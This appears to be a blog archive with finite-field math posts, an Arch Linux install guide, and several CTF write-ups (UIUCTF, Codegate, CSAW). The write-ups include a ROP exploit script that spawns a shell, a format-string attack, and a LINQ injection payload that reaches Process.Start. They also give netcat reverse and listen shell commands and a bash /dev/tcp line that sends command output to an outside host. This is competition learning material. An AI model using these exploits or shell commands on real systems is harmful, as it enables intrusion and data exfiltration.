Revenge of the Finite Fields

A few days ago, I posted some proofs and a construction of finite fields. It turns out there are a lot more nice constructions and proofs and problems related to finite fields, so I’ll be sharing some of them here.

Theorem: Let N_n be the number of monic irreducible polynomials in \ZZ_p[X]. Then

    \[ p^n = \sum_{d \mid n} d N_d. \]

Proof:
Consider the following zeta function.

    \[ \zeta = \sum_{f \in \ZZ_p[X]\,\textrm{monic}} X^{\deg f}. \]

There are only p^n monic polynomials of degree n so

    \[ \zeta = \sum_{n \geq 0} p^n X^n = \frac{1}{1 - pX}. \]

Monic polynomials have a unique factorization into monic polynomial factors, after some computation, we can arrive at

    \[ \zeta = \prod_h \left( 1 + X^{\deg h} + X^{2 \deg h} + \cdots \right) = \prod_h \frac{1}{1 - X^{\deg h}}, \]

where h are the monic irreducible polynomials of \ZZ_p[X]. We can then compute the equality

    \[ \log \frac{1}{1 - pX} = \sum_h \log \frac{1}{1 - X^{\deg h}} = \sum_{n \geq 0} N_n \log \frac{1}{1 - X^n}. \]

Recall that \log \frac{1}{1 - X} = \sum_{k \geq 1} \frac{X^k}{k}. Substituting, we get

    \[ \sum_{k \geq 1} \frac{p^k X^k}{k} = \sum_{n \geq 0} \left( N_n \sum_{j \geq 1} \frac{X^{jn}}{j} \right). \]

Let us examine the coefficient of X^k of the LHS. We compute

    \[ \frac{p^k}{k} = \sum_{jn = k} \frac{1}{j} N_n, \]

or

    \[ p^k = \sum_{n \mid k} n N_n, \]

as desired.

We now construct finite fields in a different way.

Theorem: Any field has an algebraic closure and its closure is unique up to isomorphism.

Proof: This is actually a fun exercise and proofs of this result can be found almost everywhere.

Theorem: Let \overline{\ZZ_p} be the algebraic closure of \ZZ_p. Let \FF_q = \lbrace x \in \overline{\ZZ_p} \mid x^q = x \rbrace, where q is a power of p. Then \FF_q is the unique field with q elements contained in \overline{\ZZ_p}.

Proof: We first verify that \FF_q is a field. Namely, x^q = x, y^q = x \implies (xy)^q = x^q y^q = xy and x^q = x, y^q = x \implies (x + y)^q = x^q + y^q = x + y. \FF_q clearly has q elements because X^q - X splits into q distinct linear factors over \overline{\ZZ_p}[X] and those factors are distinct (compute gcd with derivative).

Now let K be some other subfield of \overline{\ZZ_p} with q elements. K^* is a group with q - 1 elements so we have x^{q - 1} = 1, and we can trivially extend this to x^q = x for x \in K, so K \subseteq \FF_q. But |K| = |\FF_q|, so K = \FF_q.

We can rephrase the above theorem as follows. \FF_{p^n} is the splitting field of the polynomial X^{p^n} - X over \ZZ_p.

Theorem: Let K be an arbitrary finite field with q elements. Let f be an irreducible polynomial of degree n and let \alpha be one of its roots. Then K(\alpha) is a field with q^n elements.

Proof: This is a standard exercise with respect to field extensions.

Anyways, now for some problems.

Problem 1: (IMO Shortlist 1989) Suppose an integer sequence a_{n \geq 1} satisfies

    \[ 2^n = \sum_{d \mid n} a_d \]

for all n \in \NN. Prove that n \mid a_n for all n \in \NN.

Solution: Let us compute the Möbius inversion. We get

    \[ a_n = \sum_{d \mid n} \mu \left( \frac{n}{d} \right) 2^d. \]

Recall that elements of \FF_{2^n} satisfy the polynomial X^{2^n} - X = 0. We count the number of elements of order precisely 2^n - 1. Namely, we need to subtract off elements of orders 2^d - 1 with d \mid n (can you see why?). We can do this with PIE, which is precisely the formula above. So a_n is the number of elements in \FF_{2^n} with order 2^n - 1. Now consider the set of minimal polynomials of these elements. They must have degree n, otherwise they would also belong in \FF_{2^d} for some d \mid n, and each of these polynomials has n distinct roots in \FF_{2^n}, so we are done.

Problem 2: (IMO Shortlist) Let a_0 = 2, a_n = 2a_{n - 1}^2 - 1. If p > 2 and p \mid a_n, show that 2^{n + 3} \mid p^2 - 1.

Solution: We first obtain a formual for a_n. Check that

    \[ \frac{x^2 + x^{-2}}{2} = 2 \cdot \left( \frac{x + x^{-1}}{2} \right)^2 - 1. \]

This means that x_{n + 1} = x_n^2, or x_n = x_0^{2^n}. Set \frac{x + x^{-1}}{2} = 2 to obtain x = 2 \pm \sqrt{3}, so

    \[ a_n = \frac{(2 + \sqrt{3})^{2^n} + (2 - \sqrt{3})^{2^n}}{2}. \]

Let p > 2 be a prime factor of a_n. Pick some \alpha in \overline{\ZZ_p} such that \alpha^2 = 3. Notice

    \[ \alpha^{p^2 - 1} = \left( \alpha^{p + 1} \right)^{p - 1} = \left( 3^{\frac{p + 1}{2}} \right)^{p - 1} = 1, \]

so \alpha^{p^2} = \alpha and \alpha \in \FF_{p^2}. Define a map \phi : \ZZ[\sqrt{3}] \to \FF_{p^2} given by a + b \sqrt{3} \mapsto a + b \alpha. This is a ring homomorphism. Let x = \phi(2 + \sqrt{3}), y = \phi(2 - \sqrt{3}). x, y are non-zero because xy = \phi(1) = 1. Additionally, p \mid a_n \implies x^{2^n} + y^{2^n} = 0. Now compute

    \[ \begin{aligned} x^{2^n} + y^{2^n} &= 0 \\ x^{2^{n + 1}} + y^{2^{n + 1}} &= -2, \\ x^{2^{n + 2}} + 2 + y^{2^{n + 2}} &= 4 \\ x^{2^{n + 2}} - 2 + y^{2^{n + 2}} &= 0 \\ x^{2^{n + 1}} - y^{2^{n + 1}} &= 0, \\ x^{2^{n + 1}} = y^{2^{n + 1}} &= -1. \end{aligned} \]

Therefore x^{2^n + 2} = 1 and the order of x MUST be 2^{n + 2} (otherwise x^{2^{n + 1}} = -1 is impossible), so 2^{n + 2} \mid p^2 - 1. Suppose x \in \FF_p. Then we know that 2^{n + 2} \mid p - 1 so trivially 2^{n + 3} \mid p^2 - 1. Now suppose not. Then x, y are roots of irreducible X^2 - 4X + 1 \in \FF_p[X]. Raising the equality x^p -4x + 1 = 0 to the p-th power, we get that x^{2p} - 4x^p + 1 = 0. If x^p = 1, then x^p is either x or y. If x^p = x, then x \in \FF_p so we must have the latter, x^p = y, which implies x^{p + 1} = 1. But then, 2^{n + 2} \mid p + 1, so we trivially obtain 2^{n + 3} \mid p^2 - 1.

Problem: (China TST 2008) Let x_1 = 2, x_2 = 12, x_{n + 2} = 6x_{n + 1} - x_n. Let p be an odd prime and q be a prime divisor of x_p. Prove that if q \neq 2, 3, then q \geq 2p - 1.

Solution: Compute

    \[ x_n = \frac{\left( 3 + \sqrt{8} \right)^n - \left( 3 - \sqrt{8} \right)^n}{\sqrt{8}}. \]

Like, before, we can take \alpha^2 = 2 in \overline{\ZZ_q} and define the ring homomorphism \phi. Let x = \phi(3 + 2 \sqrt{2}) and y = \phi(3 - 2 \sqrt{2}). We clearly have

    \[ x^p - y^p = 0. \]

Compute xy = \phi(1) = 1 and using a similar trick in the previous problem, compute

    \[ x^p + y^p = \pm 2, \]

so x^p = y^p = \pm 1. Let us focus on the equality x^{2p} = 1. If x \in \FF_q, then the order is either 1, p, or 2p. If the order is 1, then x = 1 and 2 = -2 \alpha, and squaring yields 4 = 8 which is only true in \FF_{2^n}, but q \neq 2. If the order is p, then p \mid q^2 - 1, so p \mid q - 1 or p \mid q + 1. If p \mid q - 1, then q \neq 2, 3 forces p \leq \frac{q - 1}{2} (p is an odd prime). Similarly, if p \mid q + 1, then p \leq \frac{q + 1}{2}. If the order is 2p, then 2p \mid q^2 - 1, or p \mid \frac{q^2 - 1}{2}, or p \mid \frac{q - 1}{2} \cdot (p + 1) or p \mid \frac{q + 1}{2} \cdot (q - 1), both which eventually give the desired inequality. Notice that this only works if 2 is not a quadratic residue mod q. However, if 2 is a quadratic residue mod q, then we get either p \mid q - 1 or 2p \mid q - 1, both of which yield the desired result.

Posted in Math | Leave a comment

Finite Fields for Mortals

I’ve been studying a bunch of cryptography lately, and I thought it would be nice to present finite fields in some relatively easy to understand way that doesn’t require too much prior knowledge. All that is really needed here is a basic understanding of fields from an abstract algebra class and some introductory number theory.

We say a field F with multiplicative identity e has characteristic p if p \cdot e = 0. If F is infinite then it has characteristic 0. We are primarily interested in the finite case.

We get this nice little corollary: Let F be a field of positive characteristic p. Then p is prime.

Proof: Suppose p is not prime. Then p = ab and p \cdot e = ab \cdot e = (a \cdot e) \cdot (b \cdot e) = 0, so F has zero divisors and is not a field.

Here is another really easy to understand corollary: Let F be a field of characteristic p. Then F is a vector space over \ZZ_p = \ZZ/p\ZZ.

Proof: Trivial. Just write out the canonical action via \ZZ_p and everything just works.

If you’ve taken any sort of linear algebra, we now realize that because F is finite dimensional over \ZZ_p, we can write F \simeq (\ZZ_p)^n, and the standard notation for this is F = \FF_{p^n}.

The obvious question now is, given p^n, can we construct a field of that size, and the answer is yes. Let f be an irreducible polynomial in \ZZ_p[X] of degree n. I claim \ZZ_p[X] / \cycgroup{f} is a field of size p^n and characteristic p.

Proof: Characteristic is quite easily seen because of the base ring taking coefficients in \ZZ_p. To see that this quotient has p^n elements, we can see that each of the polynomials of \ZZ_p[X] of degree less than n are distinct and there are precisely p^n of those. For polynomials of degree at least n, we can replace them with polynomials of degree less than n, so this works. More precisely, for each term of degree k \geq n, we can find a polynomial of g of degree k \in \cycgroup{f} such that c_1 X^k - c_2 g has degree less than k because \ZZ_p is a field and we repeat until the degrees are within the desired range.

Okay, so this is at least a ring, but how are we so sure that it is a field? One easy way to see this comes from the theory of commutative rings. If R is a commutative ring and I is a maximal ideal, then R / I is a field, and \cycgroup{f} is maximal if and only if f is irreducible (the ideal generated by one of the factors is a “larger” ideal). We will prove the previous statement.

Proof: Let R be commutative and I be a maximal ideal. Let [r] \in R / I be non-zero so that r + I is non-zero. Define X = \lbrace i + rs : i \in I, s \in R \rbrace. This is clearly non-empty so take x, y \in X and write x = i_1 + rs_1, y = i_2 + rs_2, where it becomes quite obvious that x + y \in X. Now take some X \ni x = i + rs, s' \in R, compute xs' = is' + rss' = s'x, so X is also an ideal. On the other hand, we have I \subseteq X \subseteq R, but r \not \in I and r \in X, so I \subset X \subseteq R, but I is maximal so X = R, so 1 \in X, or there exists i \in I, s \in R such that 1 = i + rs, or 1 + I = rs + I = (r + I) (s + I), and s + I = [s] = [r]^{-1}.

So now all that remains is to show that there is always some irreducible polynomial and we can always construct a finite field. We will need the following useful theorems.

Theorem 1: If K is a finite field, then the group of units K^* is cyclic and there is a generator x \in K^* with order |K| - 1.

Proof: We follow the classical proof of showing the existence of primitive roots modulo p. In fact, this is precisely the analogous statement for primitive roots modulo p but for finite fields.

Let K = \FF_{p^n}. For all d \mid p^n - 1, we define the set A_d = \lbrace f \in K : \ord(f) = d \rbrace. Any element has an order that divides |K^*|, so this forms a partition. Namely,

    \[ \sum_{d \mid p^n - 1} |A_d| = |K^*| = p^n - 1. \]

I claim for any d we have |A_d| \leq \varphi(d). If |A_d| is empty, we are done so pick any element a of order d from A_d. In particular, this means that 1, a, a^2, \dots, a^{d - 1} are distinct solutions of X^d = 1. This polynomial X^d - 1 has at most d solutions in K and thus in K^* as well (it’s easy to check that zero is not a solution). Hence if we pick arbitrary x \in A_d, there exists some 0 \leq i \leq d - 1 such that a^i = x, but the order of x is precisely d, so \gcd(i, d) = 1. The set \lbrace a^i \mid \gcd(i, d) = 1 \rbrace has precisely \varphi(d) elements, and A_d is a subset of that, which gives us the result.

We then recall that the sum

    \[ \sum_{d \mid n} \varphi(d) = n. \]

This implies that |A_d| = \varphi(d) via a simple size argument. In particular, we now know that |A_{p^n - 1}| \geq 1 and any element of A_{p^n - 1} should generate \FF_{p^n} by definition.

Theorem 2: The product of all irreducible monic polynomials f \in \FF_p[X] such that \deg(f) \mid n is X^{p^n} - X.

Proof: Let P be this product. P is squarefree in \FF_p[X] because it is relatively prime to its derivative, which is -1. Thus to show that P = X^{p^n} - X, we only need to show that they share the same monic irreducible factors.

Let f be a monic irreducible factor of X^{p^n} - X of degree d. Then K = \FF_p[X] / \cycgroup{f} is a finite field with p^d elements. I claim that x^{p^n} = x for all x \in K. Write x = a_0 + a_1 X + \cdots + a_{d - 1} X^{d - 1}. We have, by the freshman dream, the following computation.

    \[ \begin{aligned} x^{p^n} &= (a_0 + a_1 X + \cdots + a_{d - 1} X^{d - 1})^{p^n} \\ &= a_0^{p^n} + a_1^{p^n} X^{p^n} + \cdots + a_{d - 1}^{p^n} X^{(d - 1) p^n} \\ &= a_0 + a_1 X^{p^n} + \cdots + a_{d - 1} X^{(d - 1) p^n} \\ &= a_0 + a_1 X + \cdots + a_{d - 1} X^{d - 1} \\ &= x, \\ \end{aligned} \]

where the final equality stems from the fact that X^{c p^n} - X^c = (X^{p^n} - X)(\dots) \in \cycgroup{f}. Now pick x \in K^* of order p^d - 1, so we obtain p^d - 1 \mid p^n - 1 \iff d \mid n, so monic irreducible factors of X^{p^n} - X have degree that divides n.

Now take some f \in \FF_p[X] that is monic, irreducible, and of degree d \mid n. Take K = \FF_p[X] / \cycgroup{f} as a field with p^d elements, so X^{p^d} = X. Since d \mid n, we easily obtain X^{p^n} = X, which is what we needed.

Corollary: If N_n is the number of monic irreducible polynomials in \FF_p[X] of degree n, then

    \[ p^n = \sum_{d \mid n} d N_d. \]

Proof: We know that X^{p^n} - X is the product of all monic irreducible polynomials with degree dividing n. Taking the degrees of both sides of this equality yields

    \[ p^n &= \sum_{d \mid n} d N_d, \]

which is precisely what we wanted.

Another corollary: N_n > 0 for all n \geq 1.

Proof: We take the Möbius inversion of the above equality. In particular, this yields,

    \[ n N_n = \sum_{d \mid n} \mu \left(\frac{n}{d}\right) p^d. \]

Note that p^n > 1 + p + p^2 + \cdots + p^{n - 1} so the RHS is most definitely positive, so N_n > 0.

All that is really left to show for basic properties of finite fields is that they are unique up to isomorphism. Namely, if f, g are both irreducible polynomials of the same degree, then \ZZ_p[X] / \cycgroup{f} \simeq \ZZ_p[X] / \cycgroup{g}. I leave this as an exercise to the reader.

So why finite fields? Well a lot of modern cryptography is done over finite fields. Namely, AES does computations in GF(2^8) \simeq \FF_{2^8}. Elliptic curves can also be defined over any field. In particular, cryptography is interested in the case where the fields are finite. Elliptic curves over \CC presents a lot of rich structure as well, but is not of any real cryptographic use to my knowledge. More specifically, standard ECC and ECDH can be done over any finite field, but in the case of SIDH (supersingular isogeny Diffie-Hellman), our curves are over \FF_{p^2}. Visually, it makes absolutely no sense to visualize polynomials as coordinate points but the algebra checks out and that’s all you really need to care about. Visualizations over \RR and maybe \FF_p should give you enough intuition to work in other fields. Anyways, I am excited to see more uses of finite fields to confuse a bunch of aspiring CS students as well as whatever people will use it for in the future.

Posted in CTF, Math | Leave a comment

UIUCTF2017 – uiuctfsck

This was a brainfuck interpreter that let you print out some internal machine state. Notice that the interpreter does not like it if we have the string “machine” in our format string. We examine the machine object, and notice that machines[i].__init__.__globals__ had our flag, so as long as we could get our format string to contain “machine” after the check, we are in the clear. Luckily, there are 3 hex characters in “mAChinE”, so setting our data pointer to 0xAC, 0xA, 0xC, 0xE with the corresponding %x in the correct place in the format string “{machine.__init__.__globals__[flag]}” would print out the flag. The reference solution is posted below.

from interpreter import interpret_program

prog = ">"*0xac
format_attack = "{m%xhine.__init__.__globals__[flag]}"
for char in format_attack:
    prog += "+"*ord(char) + ">"
prog += "<"*len(format_attack)
prog += '.'

interpret_program(prog)
print(prog)
Posted in CTF | Leave a comment

UIUCTF2017 – OldTV

Not many people solved this despite the author and I believing that this should have been an easy challenge. We were given the following program:

from binascii import hexlify
from fractions import gcd
import rsa

pub, priv = rsa.newkeys(2048)

with open('flag.txt') as f: flag = f.read()

signme = 1337

q = priv.q
p = priv.p
d = priv.d
e = priv.e
n = priv.n

# RSA signatures are way too slow I'm gonna go sanic

def egcd(a, b):
    if a == 0:
        return (b, 0, 1)
    else:
        g, y, x = egcd(b % a, a)
        return (g, x - (b // a) * y, y)

def modinv(a, m):
    g, x, y = egcd(a, m)
    if g != 1:
        raise Exception('modular inverse does not exist')
    else:
        return x % m

s1 = pow(signme, d % (p - 1), p)
s2 = pow(signme, d % (p - 1), q)
qinv = modinv(q, p)
h = (qinv * (s1 - s2)) % p
s = s2 + h * q

print "parameters:"
print e
print n
print "signed 1337 with"
print s
print "encrypted flag"
print hexlify(rsa.encrypt(flag, pub))

Initially, you should try to verify the signature and compute s^e \pmod{n}, and realize that it is not 1337. We eventually notice that d_q \equiv d \pmod{p - 1}, which is incorrect, so we pull out a pencil and paper and calculate.

    \[ \begin{aligned} s_1 &\equiv m^{d_p} \pmod{p} \implies c_1 p + s_1 = m^{d_p} \\ s_2 &\equiv m^{d_p} \pmod{q} \implies c_2 q + s_2 = m^{d_p} \\ s_1 - s_2 &= c_2 q - c_1 p \\ h &\equiv q^{-1} (c_2 q - c_1 p) \pmod{p} \implies h \equiv c_2 \pmod{p} \\ s &\equiv m^{d_p} - c_2 q + hq \equiv m^{d_p} \pmod{p} \\ ed_p &\equiv 1 \pmod{p - 1} \implies s^e \equiv m \pmod{p} \\ \end{aligned} \]

We can then just compute \gcd(s^e - m, n) to get p, where s^e - m is taken modulo n. The chances of s^e - m \equiv 0 \pmod{n} are really small, so this works most of the time.

Posted in CTF, Math | Leave a comment

Codegate 2017 Prequals – BabyPwn

This was a straightforward ROP challenge, which was made difficult on our side due to bandwidth issues.

Interestingly enough, every time we tried to leak the stack cookie it started with a null byte. We have a read primitive (actually just a function) at 0x80488b1 which we can leverage to read off entries from the plt. With this, we can grab libc addresses to fingerprint a specific version and then find offsets to the functions we want. Stacks are also cleaned up by the caller, so we need to return back to the main loop to retrigger our ROP chain every time we call a new function.

#! /usr/bin/env python2

from pwn import remote, p32, u32, args, log

choicestr = "Select menu > "
inputstr  = "Input Your Message : "

if args['REMOTE']:
    r = remote("110.10.212.130", 8888)
else:
    r = remote("localhost", 8181)

r.recvuntil(choicestr)
# r.sendline("1")
# r.recvuntil(inputstr)
# r.send("A" * 41)
# v = r.recvuntil(choicestr)

# x = v[40:]
# print x.encode("hex")

# cookie = x[1:4]
cookie = "00228d33".decode("hex")
pl_base = "A" * 40 + cookie + "BBBB" + "CCCC" + "DDDD"
loop = 0x8048a71


# we can use this to leak libc addresses
#log.info("print(__libc_start_main)")
#r.sendline("1")
#r.recvuntil(inputstr)
#r.send(pl_base + p32(0x80488b1) + p32(loop) + p32(0x804b03c))
#r.recvuntil(choicestr)
#r.sendline("3")
#res = r.recvuntil(choicestr)

# __libc_start_main = 0xf75ef990
setsockopt = 0xf765c5d0
libc_base = setsockopt - 0x000ed5d0
system = libc_base + 0x00040190
binsh = libc_base + 0x00160a24
dup2 = libc_base + 0x000db590
alarm = libc_base + 0x000b54c0

# go back to the loop to do a new rop call

log.info("alarm(0)")
r.sendline("1")
r.recvuntil(inputstr)
pl = pl_base + p32(alarm) + p32(loop)+ p32(0)
r.send(pl)
r.recvuntil(choicestr)
r.sendline("3")
r.recvuntil(choicestr)

log.info("dup2(4, 0)")
r.sendline("1")
r.recvuntil(inputstr)
pl = pl_base + p32(dup2) + p32(loop)+ p32(4) + p32(0)
r.send(pl)
r.recvuntil(choicestr)
r.sendline("3")
r.recvuntil(choicestr)

log.info("dup2(4, 1)")
r.sendline("1")
r.recvuntil(inputstr)
pl = pl_base + p32(dup2) + p32(loop)+ p32(4) + p32(1)
r.send(pl)
r.recvuntil(choicestr)
r.sendline("3")
r.recvuntil(choicestr)

log.info("system(\"/bin/sh\")")
r.sendline("1")
r.recvuntil(inputstr)
pl = pl_base + p32(system) + p32(loop)+ p32(binsh)
r.send(pl)
r.recvuntil(choicestr)
r.sendline("3")

r.interactive()
# FLAG{[email protected][email protected]@d!!!!!!^.^}
Posted in CTF | Leave a comment

Codegate 2017 Prequals – EasyCrack 101

We are presented with a zip file containing a bunch of ELF executables which serve as crackmes as well as a web server to submit the flags to each crackme. Doing some reverse engineering, we discover that one instruction always executed for correct inputs was main+0x50 and that the checking logic isn’t too complicated, so we can use tools like angr to find paths to that address. The only tricky part was determining which function was main, because the binaries were all stripped. We determine this by finding the only function that calls printf.

#! /usr/bin/env python2

import angr, sys

if len(sys.argv) != 2:
    print "give prob"
    sys.exit(0)

p = angr.Project(sys.argv[1])

# analyze and find main
cfg = p.analyses.CFGFast()

for addr,func in cfg.functions.iteritems():
    for site in func.get_call_sites():
        if cfg.functions[func.get_call_target(site)].name == "printf":
            main = func.addr
            # print "%x: main" % (main,)

arg = angr.claripy.BVS("arg", 100 * 8)
s = p.factory.path(args=[sys.argv[1], arg])
pg = p.factory.path_group(s)

pg.explore(find=main+80)
found = pg.found[0]
sol = found.state.se.any_str(arg)
repr(sol)
sol = sol[:sol.find("\x00")]
print sol

Put this with a script to automate the solving and submission of problems and you win.

#! /bin/bash

touch solutions.txt

lines=$(wc -l solutions.txt | cut -f1 -d' ')
next=$(echo $lines+1 | bc)

for i in $(seq $next 101); do
  sol=$(./solve.py ./prob$i 2>/dev/null)
  printf "./prob%-3d: %s\n" "$i" "$sol"
  printf "./prob%-3d: %s\n" "$i" "$sol" >> solutions.txt
  curl -X POST -b "PHPSESSID=[REDACTED]" -F "submit=Auth" -F "prob=$i" -F "key=$sol" "110.10.212.131:8777/auth.php" &>/dev/null
done

Flag: FLAG{Thank_U_4 s0lving_MY_Pr0b…[email protected]_vEry_genius!!!}

Posted in CTF | Leave a comment

Arch Linux Install Guide For EFI Systems

Because nobody seems to know how to actually install Arch, here’s a brief guide.

Setup:
You need a machine to install Arch on. You also need a version of the Arch installation disk on some bootable medium. You can see what versions are available here. Create the bootable medium however you would like, e.g. by burning the iso onto a CD or a USB stick. Make sure that it is labelled properly, e.g. `ARCH_YYYYMM’. You should now be able to boot to your USB stick given that BIOS settings such as secure boot have been turned off. Make sure you have a working internet connection. Otherwise, run `# wifi-menu’ to connect via wireless.

Partitioning:
To properly do EFI, we need at least two partitions. An EFI partition and a root partition. The EFI partition should be mounted at /boot. If not, you will have to do the manual task of copying your initramfs images over to wherever you mounted your EFI partition after every kernel update. So just use /boot to save yourself some time. Then mount everything wherever you want it to be. Note: if you have a /usr partition, you should add the usr, fsck, and shutdown hooks to /etc/mkinitcpio.conf after installation. See the configuration file for any other things you may need to do for non-standard configurations.

Installation:
Edit /etc/pacman.d/mirrorlist and put whatever mirror you want to use at the front. I tend to use mirrors.kernel.org. Then, assuming you mounted your root filesystem at /mnt, we can do `# pacstrap base /mnt’. Usually it is also a good idea to include base-devel with `# pacstrap base base-devel /mnt’, but if you aren’t going to build anything and just want a working system base is the bare minimum.

Configuration:
After installing the base system, it’s usually nice to configure some things. We should probably tell the system how to mount our partitions. Run `# genfstab -U /mnt >> /mnt/etc/fstab’ to write your partition (and mount) scheme to the file the loader reads to mount everything. Run `# arch-chroot /mnt’ to run a script that sets up some nice symlinks and chroots into your installation. Set the hostname by writing to /etc/hostname. Set the timezone and configure NTP with timedatectl(1). Edit /etc/locale.gen to and run `# locale-gen’ to generate some locales, and write locale.conf(5) to set the default locale. Also make sure to set a root password.

Installing a bootloader:
Follow the instructions on the Arch Wiki for this. For example, for systemd-boot, we would run `# bootctl install’, and setup /boot/loader/loader.conf and /boot/loader/entries/arch.conf by looking at examples in /usr/share/systemd/bootctl. For GRUB, we would do `# grub-install –target=x86_64-efi –efi-directory=/boot –bootloader-id=grub –debug’ and a `# grub-mkconfig -o /boot/grub/grub.cfg’.

Reboot:
Unmount and reboot. Your system should now be working.

Posted in Software | Leave a comment

CSAW Finals 2016 – Cookie Math (250)

We are given a binary that does some math. The program checks a 30 byte string and some things are XOR’d while some are not. We solve this by doing some math. We can get a list of potential XOR candidates and a set of equations by examining the binary. The result looks something like:

+5:  a
+9:  b
+13: c
+17: d
+21: e
+25: f
c + e = 0xE1D4E090 -- 0xB93E4867
f + e = 0x94E860D0 -- 0xB9F7A2FF
b + e = 0xCDD6D8C1 -- 0x7E3C14CD
a + d = 0x93E1A69F -- 0x21DDC691
b + c = 0xCD929799 -- 0x65AAFD58
d + e = 0x9FA6CFD3 -- 0x372f660E
d + c = 0xA490E3A5 -- 0xCBFF9345
        flag{....} -- 0x35E4EEBF
f + a = 0x55DC64D0 -- 0x453057E3
f + d = 0x5261E2D3 -- 0xE8D28FD7
b + d = 0xCDD8A69F -- 0xCE71DD4A
a + f = 0x5497E5C0 -- 0xC30B088B
c + a = 0x939b9799 -- 0xB2C58526
e + a = 0xA1DCD2C0 -- 0xA47E904C
b + f = 0x8FD364D0 -- 0x4D663570
b + a = 0x92C8DEC3 -- 0x5F3CEEE9
c + f = 0x80A79399 -- 0xBD87BD77

We can determine which things to XOR by computing all possible XOR states and choosing the one that works.

import Control.Monad
import Data.Bits

v :: [Int]
v = [ 0xB93E4867, 0xB9F7A2FF, 0x7E3C14CD, 0x21DDC691, 0x65AAFD58, 0x372f660E
    , 0xCBFF9345, 0x35E4EEBF, 0x453057E3, 0xE8D28FD7, 0xCE71DD4A, 0xC30B088B
    , 0xB2C58526, 0xA47E904C, 0x4D663570, 0x5F3CEEE9, 0xBD87BD77 ]

powerset :: [a] -> [[a]]
powerset = filterM (const [True, False])

psv = powerset v

stuff = zip psv $ foldr xor 0 <$> powerset v
sol = filter (\(a, b) -> b == 0xDEADBEA7) stuff
-- result: [0xB93E4867, 0x7E3C14CD, 0x372F660E, 0xCBFF9345, 0x35E4EEBF, 0xE8D28FD7, 0xC30B088B, 0xA47E904C, 0x5F3CEEE9]

We then filter our equations and solve.

c + e = 0xE1D4E090
b + e = 0xCDD6D8C1
d + e = 0x9FA6CFD3
        flag{....}
f + d = 0x5261E2D3
a + f = 0x5497E5C0
e + a = 0xA1DCD2C0
b + a = 0x92C8DEC3
a = 0x33676c61
b = 0x5f617262
c = 0x735f7a31
d = 0x31316974
e = 0x6e75665f
f = 0x2130795f
"flag{" + "616c67336272615f317a5f73746931315f66756e5f793021".decode("hex") + "}"
"flag{alg3bra_1z_sti11_fun_y0!}"
Posted in CTF | Leave a comment

CSAW Finals 2016 – LINQ To The Present (100)

We are presented with a .NET binary, and the hint says that we should consider this being run under Mono in a linux system. We disassemble the program using MonoDevelop and get:

using System;
using System.Collections.Generic;
using System.Linq.Dynamic;
using System.Net;
using System.Net.Sockets;
using System.Text;
using System.Threading;

namespace linq_to_t
{
  public class handleClinet
  {
    //
    // Fields
    //
    private TcpClient clientSocket;

    private string clNo;

    //
    // Methods
    //
    private void doChat ()
    {
      byte[] array = new byte[10025];
      string str = null;
      Message[] source = new Message[] {
        new Message ("Hilary", "Donald", "You are going down!", DateTime.Now, 1, IPAddress.Parse ("127.0.0.1")),
        new Message ("Donald", "Hilary", "Oh I don't think so. My polls are HUUUUGGEEE.", DateTime.Now, 2, IPAddress.Parse ("127.0.0.1")),
        new Message ("Hilary", "Donald", "Nice chat!", DateTime.Now, 3, IPAddress.Parse ("127.0.0.1")),
        new Message ("Donald", "Hilary", "Bye loser.", DateTime.Now, 4, IPAddress.Parse ("127.0.0.1")),
        new Message ("Hilary", "Donald", "No, you are the loser.", DateTime.Now, 5, IPAddress.Parse ("127.0.0.1"))
      };
      try {
        NetworkStream stream = this.clientSocket.GetStream ();
        stream.Read (array, 0, 2048);
        string text = Encoding.ASCII.GetString (array);
        text = text.Replace ("
", string.Empty).Trim (new char[1]);
        Console.WriteLine (" >> From client-" + this.clNo + text);
        IEnumerable<Message> enumerable = source.Where ("Text = " + text, new object[0]);
        foreach (Message current in enumerable) {
          byte[] bytes = Encoding.ASCII.GetBytes (string.Concat (new string[] {
            current.Sender,
            " -> ",
            current.Receiver,
            ": ",
            current.Text
          }));
          stream.Write (bytes, 0, bytes.Length);
          stream.Flush ();
        }
        Console.WriteLine (" >> " + str);
      }
      catch (Exception ex) {
        Console.WriteLine (" >> " + ex.ToString ());
      }
      this.clientSocket.Close ();
    }

    public void startClient (TcpClient inClientSocket, string clineNo)
    {
      this.clientSocket = inClientSocket;
      this.clNo = clineNo;
      Thread thread = new Thread (new ThreadStart (this.doChat));
      thread.Start ();
    }
  }
}

So we can do very SQL-ish things here because + Text is not surrounded by quotes, so submitting something like Text prints all of the messages while submitting "Nice chat!" only prints the one message. We then employ techniques from escaping python jails in an attempt to escape from the linq jail where our where clause input lives in. The goal is to eventually call System.Diagnostics.Process.Start("<command>", "<arguments>"), but our only way in is via reflection, and we have no way of creating arrays inside linq, so we employ a nice trick with strings: we can split them. MethodBase.Invoke(null, "command;arguments".Split(";".ToCharArray())) should suffice.

To obtain a MethodBase, we simply examine Object.GetType().GetMethods(), or in our case, we want System.AppDomain.CreateInstanceAndUnwrap to get an instance of System.Diagnostics.Process, which is accessible via "".GetType().Assembly.GetType("System.AppDomain").GetMethods()[18]. After reading up a bit on what sorts of things CreateInstanceAndUnwrap wants, we get the following payload:

// filter to spawn only 1 process, creates an instance of System.Diagnostics.Process and calls Start
"Nice chat!" && Text != "".GetType().Assembly.GetType("System.AppDomain").GetMethods()[18].Invoke("".GetType().Assembly.GetType("System.AppDomain").GetProperty("CurrentDomain").GetValue(null), "System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;System.Diagnostics.Process".Split(";".ToCharArray())).GetType().GetMethods()[80].Invoke(null, "command;arguments".Split(";".ToCharArray()))

The final step is figuring out which command to run. The first guess was to spawn either a remote listen shell or a reverse shell to our machine. This could be done with

# listen shell
nc -l -p 24245 -e /bin/bash  # linq
nc web.chal.csaw.io 24245    # us
# reverse shell
nc -l -p 24245 -e /bin/bash  # us
nc 216.165.52.116 24245      # linq, 216.165.52.116 is our ip on CSAWnet

Unfortunately, this only worked locally and not on the remote (likely due to permissions). Next, we discovered the following bash special functionality:

Bash handles several filenames specially when they are used in redirections, as described in the following table:

       /dev/fd/fd
              If fd is a valid integer, file descriptor fd is duplicated.
       /dev/stdin
              File descriptor 0 is duplicated.
       /dev/stdout
              File descriptor 1 is duplicated.
       /dev/stderr
              File descriptor 2 is duplicated.
       /dev/tcp/host/port
              If host is a valid hostname or Internet address, and port is an integer port number or service name, bash attempts to open the corresponding TCP socket.
       /dev/udp/host/port
              If host is a valid hostname or Internet address, and port is an integer port number or service name, bash attempts to open the corresponding UDP socket.

so we can get direct command output via

bash -c 'command arguments > /dev/tcp/216.165.52.116/24245'

